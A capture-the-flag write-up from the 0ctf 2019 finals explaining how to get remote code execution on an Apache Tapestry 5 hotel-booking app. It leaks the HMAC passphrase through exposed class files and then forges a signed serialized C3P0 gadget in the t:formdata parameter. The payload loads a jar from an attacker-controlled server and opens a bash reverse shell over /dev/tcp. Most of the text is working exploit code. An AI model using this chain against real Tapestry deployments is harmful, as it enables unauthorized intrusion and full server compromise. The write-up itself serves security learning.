# 0ctf 2019 final writeup
## tapestry5-hotel-booking
[CVE-2014-1972](https://issues.apache.org/jira/browse/TAP5-2008) is vulnerable to RCE.
It vulnerable now although patched.
It just add `verify logic` with **HMAC_SHA1**.
Commit Log:
- https://github.com/apache/tapestry-5/commit/95846b173d83c2eb42db75dae3e7d5e13a633946
It is possible unserialize attack if you can know HMAC_PASSPHRASE.
```java
public static void configureTapestryHotelBooking(
MappedConfiguration<String, String> configuration)
{
...
// Generate a random HMAC key for form signing (not cluster safe).
// Normally it would be better to use a fixed password-like string, but
// we can't because this file is published as open source software.
configuration.add(SymbolConstants.HMAC_PASSPHRASE,
new BigInteger(130, new SecureRandom()).toString(32));
...
}
```
Apache Tapestry disclose class file.
- http://tapestry.apache.org/assets.html#Assets-AssetSecurity
So, if you know file tree, then you can leak HMAC_PASSPHRASE.
- http://[URI]/assets/app/services/AppModule.class
**HMAC_PASSPHRASE** : TOP_SECRET_PASSPHRASE_YOU_WILL_NEVER_KNOW:)
When i search data, parameter `t:formdata` is transferred to server as HMAC Data.
Therefore change HMAC data, we can execute arbitrary command.
Java Code as serialized C3P0:
```java
// cat test.java
...
// lots of import.
...
public class test{
public static void main(String[] args){
String passphrase = "TOP_SECRET_PASSPHRASE_YOU_WILL_NEVER_KNOW:)";
Key hmacKey = new SecretKeySpec(passphrase.getBytes("UTF8"), "HmacSHA1");
Base64OutputStream base64OutputStream = new Base64OutputStream();
MacOutputStream macOutputStream = MacOutputStream.streamFor(hmacKey);
final BufferedOutputStream pipeline = new BufferedOutputStream(new GZIPOutputStream(
new TeeOutputStream(macOutputStream, base64OutputStream)));
OutputStream guard = new OutputStream()
{
...
};
ObjectOutputStream objectOutputStream = new ObjectOutputStream(guard);
objectOutputStream.writeUTF("a");
objectOutputStream.writeBoolean(false);
ObjectPayload c3p0 = new C3P0();
objectOutputStream.writeObject(c3p0.getObject("http://[MY_SERVER]/exploit.jar:exploit"));
objectOutputStream.close();
System.out.printf(macOutputStream.getResult()+":"+base64OutputStream.toBase64());
}
...
}
// javac -cp somelibrary1.jar:somlibrary2.jar test.java
// java -cp somelibrary1.jar:somlibrary2.jar test
blahblah:blahblah~
```
Java Reverse Shell:
```java=
// cat exploit.java
public class exploit{
public exploit(){
try{
Runtime.getRuntime().exec("bash -c {echo,[Payload]}|{base64,-d}|{bash,-i}");
}catch(Exception e){
}
}
}
// javac exploit.java
// jar -cvf exploit.jar exploit.class
```
[Payload] : bash -i >& /dev/tcp/IP/PORT 0>&1
Change `t:formdata` data as serialized object data to `C3P0`.
Last, you can get Shell :).
